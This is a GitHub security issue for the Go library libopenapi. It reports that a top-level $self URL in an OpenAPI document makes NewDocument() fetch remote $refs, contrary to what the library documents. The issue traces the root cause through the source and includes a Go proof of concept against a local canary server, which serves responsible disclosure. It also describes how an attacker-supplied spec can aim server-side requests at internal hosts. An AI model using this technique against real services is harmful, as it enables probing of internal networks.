Skip to content

Remote request in NewDocument() via self #565

@fab1ano

Description

@fab1ano

Summary

libopenapi.NewDocument(spec).BuildV3Model() is documented as never automatically following remote $refs, but a top-level $self URL in an OpenAPI 3.1 or 3.2 document silently flips that switch. The document-supplied $self is copied into the index's BaseURL, which is the gate that turns on remote-ref lookup. Any external $ref in the same document with a recognized extension (.yaml / .yml / .json) is then fetched via Go's default http.Client, with no opt-in from the caller needed.

Root Cause

Source path through the library:

  1. datamodel/spec_info.go:184-196 extracts a top-level $self value from OpenAPI 3.1/3.2 documents into SpecInfo.Self. No validation, no opt-in
  2. document.go:130-143 NewDocument() documents that the function "will NOT automatically follow ... any file or remote references."
  3. document.go:327-346 BuildV3Model() fabricates a datamodel.NewDocumentConfiguration() if the caller passed none. The defaults are BaseURL == nil, AllowRemoteReferences == false. It then calls v3low.CreateDocumentFromConfig(info, config)
  4. datamodel/low/v3/create_document.go:162-201 is the leak: when config.BaseURL == nil and info.Self != "", the document's $self URL is parsed and assigned to a local baseURL, which is then copied into idxConfig.BaseURL (line 201)
  5. create_document.go:251 is the gate: if idxConfig.BaseURL != nil || config.AllowRemoteReferences constructs a RemoteFS, sets idxConfig.AllowRemoteLookup = true, and adds it to the rolodex. Caller-supplied vs $self-derived BaseURL is no longer distinguishable
  6. index/rolodex_remote_loader.go:485-490 installs http.Client{Timeout: 120 * time.Second}.Get as the default RemoteHandlerFunc when the caller didn't supply one
  7. index/find_component_external.go:40-49 opens external refs through the rolodex when the URL has a recognized extension. SkipExternalRefResolution (line 21) is the only short-circuit, and it is off by default

The net effect: a $self field in the document is sufficient to convert "never fetch remote refs" into "fetch any remote ref."

Reproduction

Place the 3 files in a directory and run go run ..

main.go
package main

import (
	"fmt"
	"io"
	"log/slog"
	"net/http"
	"net/http/httptest"
	"os"
	"sync/atomic"

	"github.com/pb33f/libopenapi"
	"github.com/pb33f/libopenapi/datamodel"
)

func quietLogger() *slog.Logger {
	return slog.New(slog.NewTextHandler(io.Discard, nil))
}

const remoteYAML = `openapi: 3.1.0
info:
  title: canary
  version: 1.0.0
paths: {}
components:
  schemas:
    RemoteThing:
      type: object
      properties:
        canary: { type: string }
`

func newCanary() (*httptest.Server, *int32) {
	var hits int32
	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		atomic.AddInt32(&hits, 1)
		w.Header().Set("Content-Type", "application/yaml")
		fmt.Fprint(w, remoteYAML)
	}))
	return srv, &hits
}

func spec(base string, withSelf bool) []byte {
	self := ""
	if withSelf {
		self = fmt.Sprintf("$self: %s/root.yaml\n", base)
	}
	return []byte(fmt.Sprintf(`openapi: 3.2.0
%sinfo:
  title: libopenapi self-ssrf canary
  version: 1.0.0
paths: {}
components:
  schemas:
    Thing:
      $ref: %s/remote.yaml#/components/schemas/RemoteThing
`, self, base))
}

type result struct {
	label            string
	hits             int32
	allowRemote      bool
	skipExternalRefs bool
	baseURL          string
}

func runCase(label string, withSelf bool, skipExternal bool) result {
	srv, hits := newCanary()
	defer srv.Close()

	specBytes := spec(srv.URL, withSelf)

	var doc libopenapi.Document
	var err error
	switch {
	case skipExternal:
		cfg := datamodel.NewDocumentConfiguration()
		cfg.SkipExternalRefResolution = true
		cfg.Logger = quietLogger()
		doc, err = libopenapi.NewDocumentWithConfiguration(specBytes, cfg)
	case !withSelf:
		// Negative control: the library logs an error when it can't resolve
		// the ref. Quieten it so the report output stays readable.
		cfg := datamodel.NewDocumentConfiguration()
		cfg.Logger = quietLogger()
		doc, err = libopenapi.NewDocumentWithConfiguration(specBytes, cfg)
	default:
		// Positive case: plain NewDocument(), whose docstring (document.go:137)
		// states it "will NOT automatically follow ... any file or remote references".
		doc, err = libopenapi.NewDocument(specBytes)
	}
	if err != nil {
		fmt.Printf("[%s] NEW_DOCUMENT_ERROR: %v\n", label, err)
		return result{label: label}
	}

	if _, buildErr := doc.BuildV3Model(); buildErr != nil {
		msg := buildErr.Error()
		if len(msg) > 80 {
			msg = msg[:80] + "..."
		}
		fmt.Printf("[%s] build_err=%q\n", label, msg)
	}

	r := result{label: label, hits: atomic.LoadInt32(hits)}
	if rolo := doc.GetRolodex(); rolo != nil && rolo.GetRootIndex() != nil {
		cfg := rolo.GetRootIndex().GetConfig()
		r.allowRemote = cfg.AllowRemoteLookup
		r.skipExternalRefs = cfg.SkipExternalRefResolution
		if cfg.BaseURL != nil {
			r.baseURL = cfg.BaseURL.String()
		} else {
			r.baseURL = "<nil>"
		}
	}
	return r
}

func main() {
	cases := []struct {
		label        string
		withSelf     bool
		skipExternal bool
		expectHits   bool
	}{
		{"default-with-self  (POSITIVE: bug)", true, false, true},
		{"default-no-self    (NEGATIVE: default safety)", false, false, false},
		{"skip-with-self     (NEGATIVE: caller opted out)", true, true, false},
	}

	failures := 0
	for _, c := range cases {
		r := runCase(c.label, c.withSelf, c.skipExternal)
		fmt.Printf("[%s]\n  hits=%d allowRemote=%v skipExternal=%v baseURL=%s\n",
			r.label, r.hits, r.allowRemote, r.skipExternalRefs, r.baseURL)
		got := r.hits > 0
		if got != c.expectHits {
			fmt.Printf("  MISMATCH: expected hits=%v, got hits=%v\n", c.expectHits, got)
			failures++
		} else {
			fmt.Printf("  OK\n")
		}
	}

	if failures == 0 {
		fmt.Println("\nAll assertions matched expected behavior (bug present).")
		os.Exit(0)
	}
	fmt.Printf("\n%d mismatch(es).\n", failures)
	os.Exit(1)
}
go.mod
module libopenapi-self-ssrf-poc

go 1.25.0

require github.com/pb33f/libopenapi v0.36.1

require (
	github.com/bahlo/generic-list-go v0.2.0 // indirect
	github.com/buger/jsonparser v1.1.2 // indirect
	github.com/pb33f/jsonpath v0.8.2 // indirect
	github.com/pb33f/ordered-map/v2 v2.3.1 // indirect
	go.yaml.in/yaml/v4 v4.0.0-rc.4 // indirect
	golang.org/x/sync v0.20.0 // indirect
)
go.sum
github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
github.com/buger/jsonparser v1.1.2 h1:frqHqw7otoVbk5M8LlE/L7HTnIq2v9RX6EJ48i9AxJk=
github.com/buger/jsonparser v1.1.2/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/pb33f/jsonpath v0.8.2 h1:Ou4C7zjYClBm97dfZjDCjdZGusJoynv/vrtiEKNfj2Y=
github.com/pb33f/jsonpath v0.8.2/go.mod h1:zBV5LJW4OQOPatmQE2QdKpGQJvhDTlE5IEj6ASaRNTo=
github.com/pb33f/libopenapi v0.36.1 h1:CNZ52e+/W9fA1kAgL8EePDQQrKPfN9+HdLR6XAxUEpw=
github.com/pb33f/libopenapi v0.36.1/go.mod h1:MsDdUlQ1CdrIDO5v26JfgBxQs7kcaOUEpMP3EqU6bI4=
github.com/pb33f/ordered-map/v2 v2.3.1 h1:5319HDO0aw4DA4gzi+zv4FXU9UlSs3xGZ40wcP1nBjY=
github.com/pb33f/ordered-map/v2 v2.3.1/go.mod h1:qxFQgd0PkVUtOMCkTapqotNgzRhMPL7VvaHKbd1HnmQ=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
go.yaml.in/yaml/v4 v4.0.0-rc.4 h1:UP4+v6fFrBIb1l934bDl//mmnoIZEDK0idg1+AIvX5U=
go.yaml.in/yaml/v4 v4.0.0-rc.4/go.mod h1:aZqd9kCMsGL7AuUv/m/PvWLdg5sjJsZ4oHDEnfPPfY0=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

Expected output:

[default-with-self  (POSITIVE: bug)]
  hits=1 allowRemote=true skipExternal=false baseURL=http://127.0.0.1:<port>/root.yaml
  OK
[default-no-self    (NEGATIVE: default safety)] build_err="component `#/components/schemas/RemoteThing` does not exist in the specification..."
[default-no-self    (NEGATIVE: default safety)]
  hits=0 allowRemote=false skipExternal=false baseURL=<nil>
  OK
[skip-with-self     (NEGATIVE: caller opted out)]
  hits=0 allowRemote=true skipExternal=true baseURL=http://127.0.0.1:<port>/root.yaml
  OK

All assertions matched expected behavior (bug present).

Impact

The library's documented contract for NewDocument() is "no automatic remote/file ref resolution." Anyone reading that promise and feeding attacker-supplied OpenAPI documents to NewDocument(...).BuildV3Model() is affected.

The attacker controls:

  • Host: any reachable HTTP/HTTPS host. Loopback, RFC 1918, cluster-internal, VPC-peered targets all work; the parser process is the source of the request
  • Path: must end in .yaml / .yml / .json (unless the caller sets AllowUnknownExtensionContentDetection, which is off by default)

The primitive is:

  • A blind GET request from the parser host (oracle for internal-network reachability).
  • Unauthenticated cross-tenant access to internal services that gate on network position rather than auth headers.
  • A client UA fingerprintable as Go-http-client/1.1 with a 120 s timeout, useful for slow-loris-style holding of resources in the parser process.

It is not arbitrary-protocol: Go's http.Client.Get won't speak file://, gopher://, or talk to non-HTTP services. The fetched body is also parsed as YAML/JSON, which constrains the response shape

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions